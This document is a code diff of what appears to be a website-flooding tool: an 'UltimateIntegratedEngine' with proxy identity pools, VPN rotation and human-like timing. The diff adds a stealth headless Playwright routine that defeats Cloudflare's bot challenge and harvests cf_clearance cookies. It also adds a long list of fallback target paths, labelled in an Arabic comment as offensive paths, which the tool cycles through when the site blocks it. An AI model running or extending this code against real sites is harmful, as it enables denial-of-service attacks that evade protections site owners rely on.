Update 1.py
Browse files
1.py
CHANGED
|
@@ -1963,23 +1963,21 @@ class VPNRotator:
|
|
| 1963 |
|
| 1964 |
|
| 1965 |
def get_playwright_clearance(url: str, identity=None) -> dict:
|
| 1966 |
-
"""حل تحدي Cloudflare باستخدام Playwright
|
| 1967 |
if not PLAYWRIGHT_AVAILABLE:
|
| 1968 |
return {}
|
| 1969 |
|
| 1970 |
-
# تقييد عدد متصفحات Playwright المتزامنة لعدم استهلاك الرامات (2 كحد أقصى)
|
| 1971 |
if not hasattr(get_playwright_clearance, "semaphore"):
|
| 1972 |
get_playwright_clearance.semaphore = threading.Semaphore(2)
|
| 1973 |
|
| 1974 |
result_holder = {}
|
| 1975 |
|
| 1976 |
def _playwright_worker():
|
| 1977 |
-
"""يعمل في thread منفصل مع ProactorEventLoop — مطلوب على Windows لتشغيل subprocess"""
|
| 1978 |
with get_playwright_clearance.semaphore:
|
| 1979 |
try:
|
| 1980 |
from playwright.sync_api import sync_playwright
|
| 1981 |
-
|
| 1982 |
with sync_playwright() as p:
|
|
|
|
| 1983 |
browser = p.chromium.launch(
|
| 1984 |
headless=True,
|
| 1985 |
args=[
|
|
@@ -1988,66 +1986,91 @@ def get_playwright_clearance(url: str, identity=None) -> dict:
|
|
| 1988 |
'--disable-dev-shm-usage',
|
| 1989 |
'--disable-blink-features=AutomationControlled',
|
| 1990 |
'--disable-extensions',
|
|
|
|
|
|
|
| 1991 |
]
|
| 1992 |
)
|
| 1993 |
-
context_options = {
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1994 |
if identity and getattr(identity, 'proxy', None):
|
| 1995 |
context_options['proxy'] = {'server': identity.proxy}
|
| 1996 |
-
if identity and getattr(identity, 'profile', None):
|
| 1997 |
-
context_options['user_agent'] = identity.profile.get(
|
| 1998 |
-
'user_agent',
|
| 1999 |
-
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36'
|
| 2000 |
-
)
|
| 2001 |
-
else:
|
| 2002 |
-
context_options['user_agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36'
|
| 2003 |
-
|
| 2004 |
-
context_options['viewport'] = {"width": random.randint(1366, 1920), "height": random.randint(768, 1080)}
|
| 2005 |
-
|
| 2006 |
context = browser.new_context(**context_options)
|
| 2007 |
page = context.new_page()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 2008 |
try:
|
| 2009 |
-
page.
|
| 2010 |
-
|
| 2011 |
-
page.mouse.move(random.randint(100, 500), random.randint(100, 500))
|
| 2012 |
-
time.sleep(random.uniform(0.5, 2))
|
| 2013 |
-
try:
|
| 2014 |
-
page.wait_for_selector("[name*='challenge'], [id*='challenge'], [class*='challenge']", timeout=5000)
|
| 2015 |
-
except Exception:
|
| 2016 |
-
pass
|
| 2017 |
-
time.sleep(random.uniform(2, 5))
|
| 2018 |
-
page.wait_for_timeout(3000)
|
| 2019 |
-
|
| 2020 |
-
cookies = context.cookies()
|
| 2021 |
-
cookie_dict = {c['name']: c['value'] for c in cookies}
|
| 2022 |
-
if identity and getattr(identity, 'cookie_jar', None):
|
| 2023 |
-
for c in cookies:
|
| 2024 |
-
try:
|
| 2025 |
-
cookie = http.cookiejar.Cookie(
|
| 2026 |
-
version=0, name=c['name'], value=c['value'], port=None, port_specified=False,
|
| 2027 |
-
domain=c['domain'], domain_specified=True, domain_initial_dot=c['domain'].startswith('.'),
|
| 2028 |
-
path=c['path'], path_specified=True, secure=c['secure'],
|
| 2029 |
-
expires=int(c['expires']) if c.get('expires') and c['expires'] > 0 else None,
|
| 2030 |
-
discard=False, comment=None, comment_url=None,
|
| 2031 |
-
rest={'HttpOnly': None} if c.get('httpOnly') else {}, rfc2109=False
|
| 2032 |
-
)
|
| 2033 |
-
identity.cookie_jar.set_cookie(cookie)
|
| 2034 |
-
except Exception:
|
| 2035 |
-
pass
|
| 2036 |
-
if 'cf_clearance' in cookie_dict:
|
| 2037 |
-
result_holder['cookies'] = cookie_dict
|
| 2038 |
-
result_holder['ua'] = context_options.get('user_agent')
|
| 2039 |
-
except Exception:
|
| 2040 |
pass
|
| 2041 |
-
|
| 2042 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 2043 |
except Exception as e:
|
| 2044 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 2045 |
|
| 2046 |
t = threading.Thread(target=_playwright_worker, daemon=True)
|
| 2047 |
t.start()
|
| 2048 |
-
t.join(timeout=
|
| 2049 |
return result_holder
|
| 2050 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 2051 |
|
| 2052 |
class CloudflareCookieManager:
|
| 2053 |
"""يخزن كوكيز cf_clearance لكل بروكسي لحل التحدي مرة واحدة فقط"""
|
|
@@ -3743,8 +3766,8 @@ class UltimateIntegratedEngine:
|
|
| 3743 |
self.http_method = http_method.upper() if http_method else "GET"
|
| 3744 |
if use_identities:
|
| 3745 |
self.identity_pool = IdentityPool(geo=geo, proxies=[],
|
| 3746 |
-
max_requests_per_identity=
|
| 3747 |
-
max_age=
|
| 3748 |
use_js_bypass=use_js_bypass,
|
| 3749 |
target_url=target)
|
| 3750 |
self.human_timer = HumanTimer() if use_human_timing else None
|
|
@@ -3965,40 +3988,74 @@ class UltimateIntegratedEngine:
|
|
| 3965 |
if self.use_js_bypass:
|
| 3966 |
self.cookie_manager.invalidate(_raw_proxy)
|
| 3967 |
_cf_cookies_injected = False
|
| 3968 |
-
|
| 3969 |
-
#
|
| 3970 |
-
if _raw_proxy and self.proxy_engine:
|
| 3971 |
-
continue
|
| 3972 |
-
|
| 3973 |
-
# Fallback paths on persistent 403/503
|
| 3974 |
-
if _resp_status in (403, 503) and self.use_js_bypass:
|
| 3975 |
-
if not hasattr(self, '_direct_retries'):
|
| 3976 |
-
self._direct_retries = 0
|
| 3977 |
-
|
| 3978 |
-
if not _raw_proxy and self._direct_retries < 1:
|
| 3979 |
-
# Retry the same path directly to fetch new JS bypass token
|
| 3980 |
-
self.cookie_manager.invalidate(_raw_proxy)
|
| 3981 |
-
self._direct_retries += 1
|
| 3982 |
-
self._log(f"[🔄] 403 detected. Attempting direct Playwright bypass...", "WARNING")
|
| 3983 |
-
break # Break proxy loop to retry the while True loop without changing path
|
| 3984 |
-
|
| 3985 |
-
self._direct_retries = 0
|
| 3986 |
if not hasattr(self, '_path_attempts'):
|
| 3987 |
self._path_attempts = []
|
| 3988 |
-
|
| 3989 |
"/wp-json/wp/v2/posts?per_page=100",
|
| 3990 |
"/wp-json/wp/v2/pages?per_page=100",
|
| 3991 |
"/xmlrpc.php",
|
| 3992 |
"/sitemap.xml",
|
| 3993 |
"/comments/feed/",
|
| 3994 |
"/wp-admin/admin-ajax.php?action=heartbeat",
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 3995 |
]
|
| 3996 |
-
if len(self._path_attempts) < len(
|
| 3997 |
-
new_path =
|
| 3998 |
self._path_attempts.append(new_path)
|
| 3999 |
self.path = new_path
|
| 4000 |
-
if random.random() < 0.1:
|
| 4001 |
-
self._log(f"[🔄]
|
|
|
|
|
|
|
| 4002 |
break # success or non-proxy 403 after retry, don't retry proxy loop
|
| 4003 |
except asyncio.CancelledError:
|
| 4004 |
break
|
|
|
|
| 1963 |
|
| 1964 |
|
| 1965 |
def get_playwright_clearance(url: str, identity=None) -> dict:
|
| 1966 |
+
"""حل تحدي Cloudflare باستخدام Playwright مع وقت استجابة قصير ومحاولات متعددة"""
|
| 1967 |
if not PLAYWRIGHT_AVAILABLE:
|
| 1968 |
return {}
|
| 1969 |
|
|
|
|
| 1970 |
if not hasattr(get_playwright_clearance, "semaphore"):
|
| 1971 |
get_playwright_clearance.semaphore = threading.Semaphore(2)
|
| 1972 |
|
| 1973 |
result_holder = {}
|
| 1974 |
|
| 1975 |
def _playwright_worker():
|
|
|
|
| 1976 |
with get_playwright_clearance.semaphore:
|
| 1977 |
try:
|
| 1978 |
from playwright.sync_api import sync_playwright
|
|
|
|
| 1979 |
with sync_playwright() as p:
|
| 1980 |
+
# إعدادات متصفح أكثر تخفياً
|
| 1981 |
browser = p.chromium.launch(
|
| 1982 |
headless=True,
|
| 1983 |
args=[
|
|
|
|
| 1986 |
'--disable-dev-shm-usage',
|
| 1987 |
'--disable-blink-features=AutomationControlled',
|
| 1988 |
'--disable-extensions',
|
| 1989 |
+
'--disable-features=IsolateOrigins,site-per-process',
|
| 1990 |
+
'--disable-setuid-sandbox',
|
| 1991 |
]
|
| 1992 |
)
|
| 1993 |
+
context_options = {
|
| 1994 |
+
'viewport': {'width': random.randint(1366, 1920), 'height': random.randint(768, 1080)},
|
| 1995 |
+
'user_agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36',
|
| 1996 |
+
'locale': random.choice(['en-US', 'en-GB', 'fr-FR', 'de-DE']),
|
| 1997 |
+
'timezone_id': random.choice(['America/New_York', 'Europe/London', 'Europe/Paris']),
|
| 1998 |
+
}
|
| 1999 |
if identity and getattr(identity, 'proxy', None):
|
| 2000 |
context_options['proxy'] = {'server': identity.proxy}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 2001 |
context = browser.new_context(**context_options)
|
| 2002 |
page = context.new_page()
|
| 2003 |
+
|
| 2004 |
+
# محاكاة حركة الفأرة البشرية
|
| 2005 |
+
page.mouse.move(random.randint(100, 500), random.randint(100, 500))
|
| 2006 |
+
time.sleep(random.uniform(0.5, 1.5))
|
| 2007 |
+
|
| 2008 |
+
# تحميل الصفحة مع انتظار الشبكة
|
| 2009 |
+
page.goto(url, wait_until="networkidle", timeout=20000) # 20 ثانية كحد أقصى
|
| 2010 |
+
|
| 2011 |
+
# انتظار اختفاء شاشة التحدي إن ظهرت
|
| 2012 |
try:
|
| 2013 |
+
page.wait_for_selector("#challenge-running", state="hidden", timeout=10000)
|
| 2014 |
+
except:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 2015 |
pass
|
| 2016 |
+
|
| 2017 |
+
# محاكاة تمرير الفأرة
|
| 2018 |
+
for _ in range(random.randint(2, 5)):
|
| 2019 |
+
page.mouse.wheel(0, random.randint(100, 300))
|
| 2020 |
+
time.sleep(random.uniform(0.2, 0.8))
|
| 2021 |
+
|
| 2022 |
+
# جمع الكوكيز بعد الانتهاء
|
| 2023 |
+
cookies = context.cookies()
|
| 2024 |
+
cookie_dict = {c['name']: c['value'] for c in cookies}
|
| 2025 |
+
if identity and getattr(identity, 'cookie_jar', None):
|
| 2026 |
+
for c in cookies:
|
| 2027 |
+
try:
|
| 2028 |
+
cookie = http.cookiejar.Cookie(
|
| 2029 |
+
version=0, name=c['name'], value=c['value'], port=None, port_specified=False,
|
| 2030 |
+
domain=c['domain'], domain_specified=True, domain_initial_dot=c['domain'].startswith('.'),
|
| 2031 |
+
path=c['path'], path_specified=True, secure=c['secure'],
|
| 2032 |
+
expires=int(c['expires']) if c.get('expires') and c['expires'] > 0 else None,
|
| 2033 |
+
discard=False, comment=None, comment_url=None,
|
| 2034 |
+
rest={'HttpOnly': None} if c.get('httpOnly') else {}, rfc2109=False
|
| 2035 |
+
)
|
| 2036 |
+
identity.cookie_jar.set_cookie(cookie)
|
| 2037 |
+
except:
|
| 2038 |
+
pass
|
| 2039 |
+
if 'cf_clearance' in cookie_dict:
|
| 2040 |
+
result_holder['cookies'] = cookie_dict
|
| 2041 |
+
result_holder['ua'] = context_options['user_agent']
|
| 2042 |
+
browser.close()
|
| 2043 |
except Exception as e:
|
| 2044 |
+
# في حال الفشل، نسجل الخطأ ولكن نستمر
|
| 2045 |
+
pass
|
| 2046 |
+
|
| 2047 |
+
# تشغيل الـ thread مع مهلة 25 ثانية (بدلاً من 38)
|
| 2048 |
+
except Exception:
|
| 2049 |
+
pass
|
| 2050 |
|
| 2051 |
t = threading.Thread(target=_playwright_worker, daemon=True)
|
| 2052 |
t.start()
|
| 2053 |
+
t.join(timeout=25)
|
| 2054 |
return result_holder
|
| 2055 |
|
| 2056 |
+
def load_cf_cookies_from_file(domain: str) -> dict:
|
| 2057 |
+
"""تحميل كوكيز cf_clearance من ملف نصي (صيغة: name=value)"""
|
| 2058 |
+
cookie_file = f"cf_cookies_{domain}.txt"
|
| 2059 |
+
if os.path.exists(cookie_file):
|
| 2060 |
+
try:
|
| 2061 |
+
with open(cookie_file, 'r') as f:
|
| 2062 |
+
data = f.read().strip()
|
| 2063 |
+
cookies = {}
|
| 2064 |
+
for part in data.split(';'):
|
| 2065 |
+
if '=' in part:
|
| 2066 |
+
k, v = part.strip().split('=', 1)
|
| 2067 |
+
cookies[k] = v
|
| 2068 |
+
if 'cf_clearance' in cookies:
|
| 2069 |
+
return cookies
|
| 2070 |
+
except:
|
| 2071 |
+
pass
|
| 2072 |
+
return {}
|
| 2073 |
+
|
| 2074 |
|
| 2075 |
class CloudflareCookieManager:
|
| 2076 |
"""يخزن كوكيز cf_clearance لكل بروكسي لحل التحدي مرة واحدة فقط"""
|
|
|
|
| 3766 |
self.http_method = http_method.upper() if http_method else "GET"
|
| 3767 |
if use_identities:
|
| 3768 |
self.identity_pool = IdentityPool(geo=geo, proxies=[],
|
| 3769 |
+
max_requests_per_identity=20,
|
| 3770 |
+
max_age=120.0,
|
| 3771 |
use_js_bypass=use_js_bypass,
|
| 3772 |
target_url=target)
|
| 3773 |
self.human_timer = HumanTimer() if use_human_timing else None
|
|
|
|
| 3988 |
if self.use_js_bypass:
|
| 3989 |
self.cookie_manager.invalidate(_raw_proxy)
|
| 3990 |
_cf_cookies_injected = False
|
| 3991 |
+
|
| 3992 |
+
# قائمة مسارات هجومية متعددة بدلاً من الانتظار
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 3993 |
if not hasattr(self, '_path_attempts'):
|
| 3994 |
self._path_attempts = []
|
| 3995 |
+
FALLBACK_PATHS = [
|
| 3996 |
"/wp-json/wp/v2/posts?per_page=100",
|
| 3997 |
"/wp-json/wp/v2/pages?per_page=100",
|
| 3998 |
"/xmlrpc.php",
|
| 3999 |
"/sitemap.xml",
|
| 4000 |
"/comments/feed/",
|
| 4001 |
"/wp-admin/admin-ajax.php?action=heartbeat",
|
| 4002 |
+
"/api/v1/status",
|
| 4003 |
+
"/api/v2/health",
|
| 4004 |
+
"/api/track",
|
| 4005 |
+
"/feed",
|
| 4006 |
+
"/robots.txt",
|
| 4007 |
+
"/favicon.ico",
|
| 4008 |
+
"/assets/images/logo.png",
|
| 4009 |
+
"/",
|
| 4010 |
+
"/index.php",
|
| 4011 |
+
"/home",
|
| 4012 |
+
"/about",
|
| 4013 |
+
"/contact",
|
| 4014 |
+
"/login",
|
| 4015 |
+
"/register",
|
| 4016 |
+
"/search?q=test",
|
| 4017 |
+
"/products",
|
| 4018 |
+
"/services",
|
| 4019 |
+
"/pricing",
|
| 4020 |
+
"/blog",
|
| 4021 |
+
"/news",
|
| 4022 |
+
"/faq",
|
| 4023 |
+
"/help",
|
| 4024 |
+
"/support",
|
| 4025 |
+
"/docs",
|
| 4026 |
+
"/account",
|
| 4027 |
+
"/profile",
|
| 4028 |
+
"/settings",
|
| 4029 |
+
"/dashboard",
|
| 4030 |
+
"/cart",
|
| 4031 |
+
"/checkout",
|
| 4032 |
+
"/order",
|
| 4033 |
+
"/wishlist",
|
| 4034 |
+
"/terms",
|
| 4035 |
+
"/privacy",
|
| 4036 |
+
"/cookie-policy",
|
| 4037 |
+
"/go/",
|
| 4038 |
+
"/redirect",
|
| 4039 |
+
"/submit",
|
| 4040 |
+
"/admin/",
|
| 4041 |
+
"/panel",
|
| 4042 |
+
"/cpanel",
|
| 4043 |
+
"/en/",
|
| 4044 |
+
"/ar/",
|
| 4045 |
+
"/fr/",
|
| 4046 |
+
"/de/",
|
| 4047 |
+
"/go/",
|
| 4048 |
+
"/redirect",
|
| 4049 |
+
"/submit",
|
| 4050 |
]
|
| 4051 |
+
if len(self._path_attempts) < len(FALLBACK_PATHS):
|
| 4052 |
+
new_path = FALLBACK_PATHS[len(self._path_attempts)]
|
| 4053 |
self._path_attempts.append(new_path)
|
| 4054 |
self.path = new_path
|
| 4055 |
+
if random.random() < 0.1:
|
| 4056 |
+
self._log(f"[🔄] Path changed to: {new_path}", "WARNING")
|
| 4057 |
+
# أعد المحاولة مع تغيير المسار دون تغيير البروكسي
|
| 4058 |
+
continue # أعد محاولة الحلقة الداخلية (proxy loop) مع مسار جديد
|
| 4059 |
break # success or non-proxy 403 after retry, don't retry proxy loop
|
| 4060 |
except asyncio.CancelledError:
|
| 4061 |
break
|